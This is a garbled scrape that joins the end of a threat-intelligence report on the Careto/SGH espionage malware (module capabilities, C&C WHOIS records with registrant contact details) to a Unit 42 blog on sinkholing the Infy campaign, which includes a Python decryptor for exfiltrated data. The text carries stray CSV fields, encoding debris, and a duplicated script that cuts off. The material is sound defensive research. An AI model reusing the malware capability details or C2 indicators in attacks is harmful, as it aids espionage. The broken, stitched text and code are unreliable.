\xe2\x80\x9cEXPLORER.EXE\xe2\x80\x9d prcess by the LoadDLL driver component. File type: PE32/PE32+ DLL File location: %windows%\\System32\\awcodc32.dll Compilation timestamps: 2012.07.03 19:53:02 (GMT), 2012.07.03 19:55:22 (GMT), 2013.03.22 11:55:12 (GMT) File sizes: 22016, 24576, 27136 bytes Exports: 79002822: DllCanUnloadNow 7900282B: DllGetClassObject C e e m ex \xe2\x80\x9c{649B015F-A15F-c56b-494B-550BB6237F51}_631345_221507\xe2\x80\x9d Technical details 57 TLP: GREEN All the functionality is implemented in the DllMain function. Connects to the \xe2\x80\x9cvchw9x\xe2\x80\x9d component using a pipe by name taken from the configuration block (\xe2\x80\x9c\\\\.\\pipe\\{807BF02B-3F5F-4570-970A-8AADBAA55AC1}\xe2\x80\x9d) and communicates with the C&C server using that component. All communication between the component and the server is encrypted using the RC4 encryption algorithm. The encryption key is read from the configuration block and equals to the string \xe2\x80\x9cCaguen1aMar\xe2\x80\x9d in all the configurations we discovered. It also loads additional libraries specified in the configuration, i.e. \xe2\x80\x9cmfcn30\xe2\x80\x9d. The module can execute the following commands provided by the C&C server: 2 Write a new executable file to disk and optionally start it 110 Update the configuration block with new C&C data: URLs, encryption key 113 Update the configuration block with new file filtration rules 120 Write a new DLL file to disk and load it The files received from the C&C server can be saved to the default Windows, Temporary or System directories, or any other location specified in the command. xiii) mfcn30 module This library is loaded by \xe2\x80\x9cawcodc32\xe2\x80\x9d. It provides a framework for extending the malware with additional plugins and sending the results of their data collection routines to the C&C server. File type: PE32/PE32+ DLL File location: %windows%\\System32\\mfcn30.dll Compilation timestamps: 2012.07.03 19:53:03 (GMT), 2012.07.03 19:55:23 (GMT), 2013.03.22 11:55:12 (GMT) File sizes: 15872, 17920 bytes Exports: 77001295: DllCanUnloadNow 7700129E: DllGetClassObject Technical details All the functionality is implemented in the DllMain function. Connects to the \xe2\x80\x9cvchw9x\xe2\x80\x9d component using a pipe name from the configuration block \\\\.\\pipe\\{807BF02B-3F5F-4570-970A-8AADBAA55AC1} for interacting with C&C server. 58 TLP: GREEN The module reads a list of additional plugin DLLs from the configuration block, loads these libraries and then periodically queries them for collected information. The results are sent to the C&C server via the pipe interface provided by \xe2\x80\x9cvchw9x\xe2\x80\x9d. Figure 22: Sample list of additional plugins xiv) vchw9x module This module implements network connectivity features for the SGH components. File type: PE32/PE32+ DLL File location: %windows%\\System32\\vchw9x.dll Compilation timestamps: 2012.07.03 19:53:02 (GMT), 2012.07.03 19:55:21 (GMT), 2013.03.22 11:55:11 (GMT) File sizes: 18432, 20992, 22528 bytes Exports: 78001977: DllCanUnloadNow 78001980: DllGetClassObject Technical details This library is injected by the LoadDLL driver into processes from the following list: IEXPLORE.EXE FIREFOX.EXE MOZILLA.EXE OPERA.EXE NETSCAPE.EXE EMULE.EXE CHROME.EXE All the functionality is implemented in the DllMain function. Creates the pipe: \\\\.\\pipe\\{807BF02B-3F5F-4570-970A-8AADBAA55AC1} and processes commands sent via this pipe by other modules. Once a command is received, it passes the network request to Wininet functions and returns the results to the caller module via the same pipe. 59 TLP: GREEN xv) jpeg1x32 module File type: PE32 DLL File location: %windows%\\System32\\jpeg1x32.dll Compilation timestamps: 2013.04.09 14:15:17 (GMT) File sizes: 31744 bytes Exports: 79002656: fnProcess Technical details All the functionality is implemented in the fnProcess function. The function receives 4 parameters that define the module's behavior. Depending on the parameters, it can: \xe2\x97\x8f Delete the SGH components specified in the configuration block, effectively uninstalling it \xe2\x97\x8f Delete the registry keys corresponding to the components of SGH \xe2\x97\x8f Compile a complete system report, including directory locations, hardware parameters, list of users, processes, installed programs, MAC addresses of network adapters \xe2\x97\x8f Call various functions of the \xe2\x80\x9cawdcxc32\xe2\x80\x9d module xvi) siiw9x module File type: PE32 DLL File location: %windows%\\System32\\siiw9x.dll Compilation timestamps: 2013.03.22 11:55:13 (GMT) File sizes: 15360 bytes Exports: 78002078: DllEnumClass Technical details Main functionality is implemented in the DllMain function. The module waits until a desktop named \xe2\x80\x9cscreen-saver\xe2\x80\x9d appears and when that desktop becomes available it creates another desktop named \xe2\x80\x9cDZ9PADXF\xe2\x80\x9d and launches the default browser application there. This functionality may be useful for stable operation of the \xe2\x80\x9cvchw9x\xe2\x80\x9d module on rarely used computers since that module is activated only in browser processes. The \xe2\x80\x9cDllEnumClass\xe2\x80\x9d function deletes the module or removes its name from the configuration block, depending on the Windows version. 60 TLP: GREEN xvii) SkypeIE6Plugin Intercepts and records audio streams from Skype. We have discovered only a 32-bit version of this plugin so far. File type: PE32 DLL File location: %windows%\\System32\\SkypeIE6Plugin.dll Compilation timestamps: 2011.01.17 14:30:23 (GMT) File sizes: 73728 bytes Technical details The library has no exports, its functionality is implemented in the DllMain function. The library hides itself by modifying the list of loaded DLL files to that its own module name appears to be \xe2\x80\x9c%windows%\\System32\\authz.dll\xe2\x80\x9d. It intercepts several functions exported by system libraries to capture sound from the infected system: kernel32.dll CreateFileW dsound.dll DirectSoundCreate, DirectSoundCreate ole32.dll CoCreateInstance winmm.dll waveInOpen, waveInClose, waveOutOpen, waveOutClose The module uses an additional library, \xe2\x80\x9c%windows%\\System32\\lame_enc.dll\xe2\x80\x9d to compress recorded audio data. The location of recorded data is specified in the configuration block. xviii) nmwcdlog module Gathers information from Nokia mobile devices using the Nokia OVI/PC Suite API. File type: PE32 DLL File location: %windows%\\System32\\nmwcdlog.dll Compilation timestamps: 2011.04.26 15:07:26 (GMT) File sizes: 106496 bytes C e e even o jec \xe2\x80\x9cGlo l\\9D14093C-8B2C-49aa-A328-35C1BDB2BC15\xe2\x80\x9d, \xe2\x80\x9cGlo l\\8427ACED-9495-4cb7-A13D-B98012DF6654\xe2\x80\x9d. Technical details The library has no exports, its functionality is implemented in the DllMain function. It loads the Nokia Connectivity API libraries \xe2\x80\x9cConnAPI.dll\xe2\x80\x9d, \xe2\x80\x9cDAAPI.dll\xe2\x80\x9d and tries to extract data from all available devices. 61 TLP: GREEN The module collects the following information: - device name - manufacturer name - model - serial number - list of contacts - calendar - bookmarks - SMS and MMS messages xix) d3dx8_20 module This data collection plugin makes screenshots of the victim's desktop. File type: PE32/PE32+ DLL File location: %windows%\\System32\\d3dx8_20.dll Compilation timestamps: 2011.03.25 10:49:57 (GMT), 2011.03.29 13:40:06 (GMT) File sizes: 130560, 145920 bytes. Technical details The library has no exports, its functionality is implemented in the DllMain function. It makes screenshots of the desktop and marks the position of the mouse cursor. Additionally, it captures the title of the foreground window. Collected data is stored in multi-volume ZIP archives and then delivered to the C&C server. xx) WifiScan module Retrieves the list of available Wi-Fi networks. We have discovered only a 64-bit version of this plugin so far. File type: PE32+ DLL File location: %windows%\\System32\\WifiScan.dll Compilation timestamps: 2011.03.23 08:04:43 (GMT) File sizes: 62464 bytes. Technical details The library has no exports, its functionality is implemented in the DllMain function. It uses the API provided by the library \xe2\x80\x9cwlanapi.dll\xe2\x80\x9d to retrieve information about the wireless networks visible to the infected machine's Wi-Fi interfaces. 62 TLP: GREEN xxi) awview32 module This module is injected in Microsoft Outlook processes. Collects victim's email messages. File type: PE32/PE32+ DLL File location: %windows%\\System32\\awview32.dll Compilation timestamps: 2011.06.10 12:27:40 (GMT), 2011.06.10 16:46:57 (GMT) File sizes: 26624, 45056 bytes. Technical details The library has no exports, its functionality is implemented in the DllMain function. The module implements the Microsoft Outlook add-in interface and ensures it is requested by hooking the OLE2 API. It receives events from the Outlook application, collects the e-mail messages and writes them to the temporary directory. xxii) CDllUninstall module File type: PE32/PE32+ DLL File location: non, is executed in memory Compilation timestamps: 2013.06.20 11:58:03 (GMT), 2013.06.20 11:58:08 (GMT) File sizes: 11264, 13824 bytes Technical details Having its filename related to the SGH package, this module is actually a command package for Careto. It is transmitted by the C&C servers as a CAB archive containing 32-bit and 64-bit versions of its DLL and the accompanying \xe2\x80\x9cMeta.inf\xe2\x80\x9d file. The contents of the archive follow: Name File Size Date Time Meta.inf 548 bytes 28.10.2013 17:20:12 CDllUninstallSGH64.dll CDllUninstallSGH32.dll 13824 bytes 11264 bytes 28.10.2013 17:20:12 28.10.2013 17:20:12 The \xe2\x80\x9cMeta.inf\xe2\x80\x9d instructs the Careto instance to load the DLL appropriate for the system architecture: #Mon Oct 28 17:20:14 GMT 2013 DLL32_FILE_NAME=CDllUninstallSGH32.dll DLL64_FILE_NAME=CDllUninstallSGH64.dll DATE_GENERATION=20131028T172014.101 TYPE=CMD CLIENT_ID=%client id% CMD_SEQ=0002 INST_ID=%installation id% SUB_TYPE=CANNEDDLL TARGET_PROCESS=EXPLORER PRODUCT_CODE=C316 63 TLP: GREEN The module uninstalls both Careto and SGH from the infected computer. Its internal name is \xe2\x80\x9cCDllUninstall v1.0.0"". It explicitly names the software packages with their original names by writing the following strings in the uninstallation log: 1. Unistalling SGH ... 2. Unistalling Careto The module contains hardcoded locations of the files that are removed and registry keys to be removed or restored. For SGH, these are: HKLM\\SYSTEM\\*ControlSet*\\Services\\scsimap %systemroot%\\System32\\bootfont.bin c:\\Windows\\System32\\bootfont.bin %systemroot%\\System32\\drivers\\scsimap.sys c:\\Windows\\System32\\drivers\\scsimap.sys For Careto, it first determines the location of the main module by reading the registry value from: HKLM/HKCU\\SOFTWARE\\CLASSES\\CLSID\\{ECD4FC4D-521C-11D0-B792- 00A0C90312E1} The main module is removed and the original registry value is restored from the registry key: SOFTWARE\\CLASSES\\CLSID\\{E6BB64BE-0618-4353-9193- 0AFE606D6F0C}\\InprocServer32 64 TLP: GREEN APPENDIX 3: C&C registration information Most of the Careto C&C hosts were registered through the free service DYN.COM. Some of the domains however are stand-alone .COM and .NET registration. The registration data is partly visible in a few cases: Domain Name: APPLEUPDT[dot]COM Registrar WHOIS Server: whois.publicdomainregistry.com Registrar URL: www.publicdomainregistry.com Updated Date: Creation Date: 25-Feb-2009 Registrar Registration Expiration Date: 25-Feb-2019 Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com Registrar IANA ID: 303 Registrar Abuse Contact Email: abuse-contact@publicdomainregistry.com Registrar Abuse Contact Phone: +1-2013775952 Domain Status: OK Registry Registrant ID: DI_9419517 Registrant Name: Victoria Gomez Registrant Organization: N/A Registrant Street: CL Esmeralda No 1332 Registrant City: Buenos Aires Registrant State/Province: Buenos Aires Registrant Postal Code: C1007A Registrant Country: AR Registrant Phone: +541.141311903 Registrant Email: victoriag150@googlemail.com Domain Name: MSUPDT[dot]COM Registry Domain ID: 1080338848_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.publicdomainregistry.com Registrar URL: www.publicdomainregistry.com Updated Date: 18-Jun-2013 Creation Date: 11-Jul-2007 Registrar Registration Expiration Date: 11-Jul-2017 Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com Registrar IANA ID: 303 Registrar Abuse Contact Email: abuse-contact@publicdomainregistry.com Registrar Abuse Contact Phone: +1-2013775952 Domain Status: clientTransferProhibited Registry Registrant ID: DI_6819375 Registrant Name: Anne Rasmussen Registrant Organization: msupdt.com Registrant Street: Storgatan 21 Registrant City: Goteborg Registrant State/Province: Registrant Postal Code: 41296 https://reversewhois.domaintools.com/?email=b753ee475870c3e09055ead90c044880 https://reversewhois.domaintools.com/?email=c3c6c3bb94c5ba815d25041eb9f90560 https://reversewhois.domaintools.com/?email=b753ee475870c3e09055ead90c044880 65 TLP: GREEN Registrant Country: SE Registrant Phone: +46.318831056 Registrant Phone Ext: Registrant Fax: +46.318831056 Registrant Email: anne30@vfemail.net Registry Admin ID: DI_6819375 Domain Name: linkconf[dot]net Registry Domain ID: 1710052877_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.gandi.net Registrar URL: http://www.gandi.net Updated Date: 2013-10-23T18:46:03Z Creation Date: 2012-03-30T12:12:52Z Registrar Registration Expiration Date: 2017-03-30T12:12:52Z Registrar: GANDI SAS Registrar IANA ID: 81 Registrar Abuse Contact Email: abuse@support.gandi.net Registrar Abuse Contact Phone: +33.170377661 Domain Status: clientTransferProhibited Registry Registrant ID: Registrant Name: JOAQUIM COSTA Registrant Organization: Registrant Street: Rua do Carmo 26 Registrant City: Braga Registrant State/Province: Registrant Postal Code: 4700-309 Registrant Country: PT Registrant Phone: +351.253204804 Registrant Email: 531becdfa3836a9be267950583190dbc- 1471114@contact.gandi.net https://reversewhois.domaintools.com/?email=99ec5b74165233d5e49e48eda905d55b https://reversewhois.domaintools.com/?email=5349ebc5d0f514a93f68574c1a646458 https://reversewhois.domaintools.com/?email=0c9462fab2e55438f1a5446cea297f67 https://reversewhois.domaintools.com/?email=0c9462fab2e55438f1a5446cea297f67","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Prince of Persia \xe2\x80\x93 Game Over Menu Tools Playbooks Speaking Events About Us Prince of Persia \xe2\x80\x93 Game Over 9,758 people reacted 0 7 min. read Share By Tomer Bar, Lior Efraim and Simon Conant June 28, 2016 at 3:00 PM Category: Malware, Threat Prevention, Unit 42 Tags: C2, Infy Summary Unit 42 published a blog at the beginning of May titled \xe2\x80\x9cPrince of Persia,\xe2\x80\x9d in which we described the discovery of a decade-long campaign using a formerly unknown malware family, Infy, that targeted government and industry interests worldwide. Subsequent to the publishing of this article, through cooperation with the parties responsible for the C2 domains, Unit 42 researchers successfully gained control of multiple C2 domains. This disabled the attacker\xe2\x80\x99s access to their victims in this campaign, provided further insight into the targets currently victimized in this operation, and enabled the notification of affected parties. Post Publication In the week following the publication of the original blog, we observed no unusual changes to the C2 infrastructure. Existing domains did move to new IP addresses, as we had previously seen periodically. Some new install domains were added, adhering to naming conventions of current domains (see appendix for new IOCs). The attackers developed a new version (31), and we observed this deployed against a single Canadian target. The file descriptions remained essentially the same (\xe2\x80\x9cCLMediaLibrary Dynamic Link Library V3\xe2\x80\x9d). Most importantly, there was no change to the encoding key (now using offset 20, and offset 11 for second pass against URL encoding) that we had observed being used for the entire decade-long campaign, and documented in our previous blog. From this we conclude that the attackers were unaware of our initial report. Sinkhole Through cooperation with the parties responsible for the C2 domains, we took control of all but one of them, transferring the A records to a server we controlled. This prevented the attackers from being able to subsequently make any further changes to the domain configurations, issue commands to victims, or capture any further data for the majority of victims. An analysis of connections after transfer suggests that the attackers may have used a third-party service to try to understand why they had suddenly lost almost all of their traffic. Figure 1 shows that tool, a geographic representation of victim-C2 traffic, with all but one at that time now communicating with our sinkhole server. Figure 1 Graphical representation of victim traffic to C2 We have since transferred sinkhole control to Shadowserver, whom we thank for subsequent victim notification & remediation (https://www.shadowserver.org/wiki/pmwiki.php/Involve/GetReportsOnYourNetwork). Victims We were able to analyze victim C2 traffic to understand who were victims of the Infy campaign. We identified 456 malware agents installed on 326 victim systems, in 35 countries. Figure 2 shows a geographical breakdown of victim locations. We noted in our original blog the large amount of targeting of Iranian citizens in this campaign, we observed almost one-third of all victims to be Iranian. Also of note was the low overall volume of victims, compared to, for example, crimeware campaigns. Figure 2 Geographic location of victims. Please note that New Zealand has been omitted from this map only because we observed no victim activity there. Versions In our original blog, we noted two distinct primary variants of the Infy malware. In addition to the original \xe2\x80\x9cInfy\xe2\x80\x9d variant, we also see the newer, more sophisticated, interactive, and fuller-featured \xe2\x80\x9cInfy M\xe2\x80\x9d variant deployed against apparently-higher-value targets. Overall, 93% of all victims were infected with Infy, and 60% with Infy \xe2\x80\x9cM\xe2\x80\x9d (Figure 3). Combined with the low total number of victims, this suggests a great deal of care given to each individual campaign target. The large number of victims with both variants may relate to their complimentary feature set, or represent an \xe2\x80\x9cupgrade\xe2\x80\x9d path on victims from the original variant infection, later adding the \xe2\x80\x9cM\xe2\x80\x9d variant as targets appeared more compelling to the attackers. Figure 3 Breakdown of Infy vs. Infy \xe2\x80\x9cM\xe2\x80\x9d infections For the Infy \xe2\x80\x9cM\xe2\x80\x9d variant, we note that the majority of targets are using the latest version (7.8), and that none are using the older 6.x versions at all (Figure 4). This suggests that these higher-value targets are paid much more attention, being kept up-to-date with the latest version. In contrast, for the more basic original Infy variant, we note a full spectrum of versions installed (Figure 5), with many victims on older versions \xe2\x80\x93 including the original, decade-old V1 \xe2\x80\x93 suggesting much less concern is paid to these individual targets (note that we did observe a small number of the older 6.x versions but these do not announce their version when connecting). Figure 4 Infy \xe2\x80\x9cM\xe2\x80\x9d Victim versions Figure 5 Infy\xe2\x80\x9dOriginal\xe2\x80\x9d Victim versions Game Over Shortly after the takedown, as well as a new Infy version (31), we also observed the registration of multiple domains using a previously-seen pattern, against known campaign IP addresses. Almost every domain in the pattern-range box4035[.]net \xe2\x80\x93 box4090[.]net (138.201.0.134). These were not observed in any sample C2 lists however. Bestwebstat[.]com was sinkholed by another operator. Some victims infected with Infy versions 15-24 still used the C2 server us1s2[.]strangled[.]net, which remained in the hands of the attacker. In early June the attackers used this C2 to issue instructions to download new Infy \xe2\x80\x9cM\xe2\x80\x9d version 8.0 from us1s2[.]strangled[.]net/bdc.tmp. This was the first time we had observed an Infy variant being directly updated to Infy \xe2\x80\x9cM\xe2\x80\x9d. This used camouflage name \xe2\x80\x9cMacromedia v4\xe2\x80\x9d, changed from \xe2\x80\x9cv3\xe2\x80\x9d seen in Infy v31. They also removed the voice recording capability in this version. uvps1[.]cotbm[.]com was used for data exfiltration, previously at 138.201.47.150, after publishing of our original blog moving to 144.76.250.205. It was also hosting malware updates at /themes/u.php. They also added a curious C2 entry \xe2\x80\x9chxxp://box\xe2\x80\x9d (note: defanged for publishing). It\xe2\x80\x99s unclear how this should function; possibly a compromised victim intranet device, or the attackers have modified the HOSTS file on the victim computer. After the take-down, the attackers began to add server IP addresses as well as domain names to their malware C2 list. They also slightly modified their ZIP password from \xe2\x80\x9cZ8(2000_2001ul\xe2\x80\x9d to \xe2\x80\x9cZ8(2000_2001uIEr3\xe2\x80\x9d. Their new malware version added antivirus checks for Kaspersky Labs, Avast, and Trend Micro. The malware data capture now searches for file extensions: .doc, .docx, .xls, .xlsx, .xlr, .pps, .ppt, .pptx, .mdb, .accdb, .db, .dbf, .sql, .jpg, .jpeg, .psd, .tif, .mp4, .3gp, .txt, .rtf, .odt, .htm, .html, .pdf, .wps, .contact, .csv, .nbu, .vcf, .pst, .zip, .rar, .7z, .zipx, .pgp, .tc, .vhd, .p12, .crt.pem,.key.pfx, .asc, .cer, .p7b, .sst, .doc, .docx, .xls, .xlsx, .xlr, .pps, .ppt, .pptx. and folder locations: :\\$recycle.bin, :\\documents and settings, :\\msocache, :\\program files, :\\program files (x86), :\\programdata, :\\recovery, :\\system volume sers, :\\windows, :\\boot, :\\inetpub, :\\i386. The malware continued to use the identical decryption key seen over the entire history of this campaign. Mid-June, through cooperation with the parties responsible for the C2 domains and law enforcement, we were able to get the remaining C2 domains null-routed and the directly-IP-addressed server disabled. This is the end of a decade-long campaign, though we naturally expect to see this actor back in some other guise before long. Thanks to the Malware research team \xe2\x80\x93 Yaron Samuel, Artiom Radune, Mashav Sapir, Netanel Rimer \xe2\x80\x93 for assistance in the takedown. Appendix 1 \xe2\x80\x93 Exfiltration Algorithm The malware uses a different algorithm than that used for encrypting the malware strings to encrypt the exfiltration data, including: Keylogger data + language. Malware logs \xe2\x80\x93 installation time, DLL path and name, log path, number of downloads, number of successful/failed connections. Information about the victim computer: Time zone, list of drives and types, running processes, disk info. First the malware adds 1 to all bytes, then an encryption key is initialized based on the victim computer name (the offset in the key is calculated by sum of the computer name letters %key length). Then the key is used to encrypt the data (see decrypt function). The encrypted data is then base64 encoded. Exfiltration data decryption python code: import os,sys import string import base64 import fileinput FIRST_PHASE = ""OQTJEqtsK0AUB9YXMwr8idozF7VWRPpnhNCHI6Dlkaubyxf5423jvcZ1LSGmge"" SECOND_PHASE = ""PqOwI1eUrYtT2yR3p4E5o6WiQu7ASlDkFj8GhHaJ9sKdLfMgNzBx0ZcXvCmVnb"" global FULL_KEY FULL_KEY= """" def sub_1_for_hex(str_input): str_output = """" for letter in str_input: try: str_output += chr(ord(letter)-1) except: print ""sub_1_for_hex func problem"" continue return str_output def sum_comp_name(comp_name): sum = 0 for letter in comp_name: sum+= ord(letter) return sum def init_key(comp): comp_name_sum = sum_comp_name(comp) carry = divmod(comp_name_sum, 62) index = carry[1] -1 end_key = FIRST_PHASE[:index] key = FIRST_PHASE[index:] key = key + end_key key = key + key return key def decrypt(num_list,offset): global FULL_KEY input = """" for num_str in num_list: try: input += num_str.decode('hex') except: input += ')' result = """" for i, c in enumerate(input): i = i % 62 +1 try: index = FULL_KEY.index(c)-1 except ValueError: result += c continue translated = SECOND_PHASE[(index - i +offset) % len(SECOND_PHASE)] result += translated return result def found_infy_enc_data(line): found_infy_str = ""show=\\""---------- Administration Reporting Service "" found_infy_index = line.find(found_infy_str) if not found_infy_index==-1: return True,found_infy_index else: return False,found_infy_index def extract_comp_name(line): comp = r""\\xd\\xa-----"" comp_index = line.find(comp) comp_name = line[comp_index+len(comp):] comp_name = comp_name[:comp_name.find(""-----"")] print ""(((=)))"" + comp_name return comp_name def extract_enc_data(line): header = r""\\xd\\xa_____"" start_index = line.find(header)+len(header) line = line[start_index:] endindex = line.index(""_____\\"" value="") line = line[:endindex] return line def write_enc_infy_data_to_file(dec_line,comp_name,filename): file1 = open(filename + ""\\\\"" + comp_name + "".txt"",'ab') file1.writelines(dec_line) file1.close() def enc_wrapper(enc,comp_name): global FULL_KEY print FULL_KEY FULL_KEY = init_key(comp_name) enc_final = """" for letter in enc: if len(hex(ord(letter))[2:])==1: enc_final += ""0"" + hex(ord(letter))[2:] elif len(hex(ord(letter))[2:])==2: enc_final += hex(ord(letter))[2:] else: print ""not good hex length"" exit() enc = enc_final.upper() enc = enc.replace(""2E"",""21"") enc = enc.replace(""C5DC5A"","""") enc = enc.replace(""D03D00"","""") enc = enc.replace(""0B0E"",""2121"") enc = enc.replace(""01"",""21"") enc_len = len(enc) enc_rev = """" num_list = [] enc_print ="""" for i in range(0,enc_len/2): enc_rev = enc[-2:] if not enc_rev==""0B"" and not enc_rev==""0E"" and not enc_rev==""00"" and not enc_rev==""D0"": enc_print +=enc_rev num_list.append(enc_rev) enc= enc[:-2] #the first part is always ok dec_str = decrypt(num_list,0) final = sub_1_for_hex(dec_str) index = final.find(""OK: Sent"") if index==-1: print comp_name + "" - did not found OK: Sent !!!!\\n\\n\\n\\n"" #exit() decrypt_data = comp_name + "" ++==++ "" + str(i) + "": "" + final + ""\\n"" final_start = final[0:500] if final_start in UNIQUE_DATA: print comp_name + "" already have this data"" return UNIQUE_DATA.append(final_start) index = final.find(""Installed Date:"") if index==-1: for i in range(1,61): dec_str = decrypt3(num_list,i) final = sub_1_for_hex(dec_str) ##print all 62 options index2 = final.find(""PROGRAM START:"") index3 = final.find(""Installed Date:"") if not index2 ==-1 or not index3 ==-1: decrypt_data += str(i) + "": "" + final + ""\\n"" write_enc_infy_data_to_file(decrypt_data,comp_name,FILE_OUTPUT_NAME) def read_enc_data_files(): for root,dir,files in os.walk(PDML_PATH): for file in files: filename = root+ ""\\\\"" + file if os.path.isfile(filename): print filename for line in fileinput.input([filename]): line = line.strip() is_found,found_infy_index= found_infy_enc_data(line) if not is_found: continue line = line[found_infy_index:] #get computer name (for use in init_key() later) comp_name = extract_comp_name(line) UNIQUE_COMP.append(comp_name) #get the infy encrypted data line = extract_enc_data(line) #base64 decode enc_data dec_line = line.decode('base64') #append enc_data to file write_enc_infy_data_to_file(dec_line,comp_name,FILE_ENC_OUTPUT_NAME) enc_wrapper(dec_line,comp_name) try: read_enc_data_files() except: print ""exception!!!!"" 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 import os,sys import string import base64 import fileinput FIRST_PHASE = ""OQTJEqtsK0AUB9YXMwr8idozF7VWRPpnhNCHI6Dlkaubyxf5423jvcZ1LSGmge"" SECOND_PHASE = ""PqOwI1eUrYtT2yR3p4E5o6WiQu7ASlDkFj8GhHaJ9sKdLfMgNzBx0ZcXvCmVnb"" global FULL_KEY FULL_KEY= """" def sub_1_for_hex(str_input): \xc2 \xc2 \xc2 \xc2 str_output = """" \xc2 \xc2 \xc2 \xc2 for letter in str_input: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 try: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 str_output += chr(ord(letter)-1) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 except: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 print ""sub_1_for_hex func problem"" \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 continue \xc2 \xc2 \xc2 \xc2 return str_output \xc2 def sum_comp_name(comp_name): \xc2 \xc2 \xc2 \xc2 sum = 0 \xc2 \xc2 \xc2 \xc2 for letter in comp_name: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 sum+= ord(letter) \xc2 \xc2 \xc2 \xc2 return sum \xc2 \xc2 \xc2 \xc2 def init_key(comp):\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 comp_name_sum = sum_comp_name(comp) \xc2 \xc2 \xc2 \xc2 carry = divmod(comp_name_sum, 62) \xc2 \xc2 \xc2 \xc2 index = carry[1] -1 \xc2 \xc2 \xc2 \xc2 end_key = FIRST_PHASE[:index] \xc2 \xc2 \xc2 \xc2 key = FIRST_PHASE[index:] \xc2 \xc2 \xc2 \xc2 key = key + end_key \xc2 \xc2 \xc2 \xc2 key = key + key \xc2 \xc2 \xc2 \xc2 return key \xc2 def decrypt(num_list,offset): \xc2 \xc2 \xc2 \xc2 global FULL_KEY \xc2 \xc2 \xc2 \xc2 input = """" \xc2 \xc2 \xc2 \xc2 for num_str in num_list: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 try: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 input += num_str.decode('hex') \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 except: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 input += ')'\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 result = """" \xc2 \xc2 \xc2 \xc2 for i, c in enumerate(input): \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 i = i % 62 +1 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 try: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 index = FULL_KEY.index(c)-1 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 except ValueError: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 result += c \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 continue \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 translated = SECOND_PHASE[(index - i +offset) % len(SECOND_PHASE)] \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 result += translated \xc2 \xc2 \xc2 \xc2 return result\xc2 \xc2 \xc2 def found_infy_enc_data(line):\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 found_infy_str = ""show=\\""---------- Administration Reporting Service "" \xc2 \xc2 \xc2 \xc2 found_infy_index = line.find(found_infy_str) \xc2 \xc2 \xc2 \xc2 if not found_infy_index==-1: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return True,found_infy_index \xc2 \xc2 \xc2 \xc2 else: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 return False,found_infy_index def extract_comp_name(line): \xc2 \xc2 \xc2 \xc2 comp = r""\\xd\\xa-----"" \xc2 \xc2 \xc2 \xc2 comp_index = line.find(comp) \xc2 \xc2 \xc2 \xc2 comp_name = line[comp_index+len(comp):] \xc2 \xc2 \xc2 \xc2 comp_name = comp_name[:comp_name.find(""-----"")] \xc2 \xc2 \xc2 \xc2 print ""(((=)))"" + comp_name \xc2 \xc2 \xc2 \xc2 return comp_name \xc2 \xc2 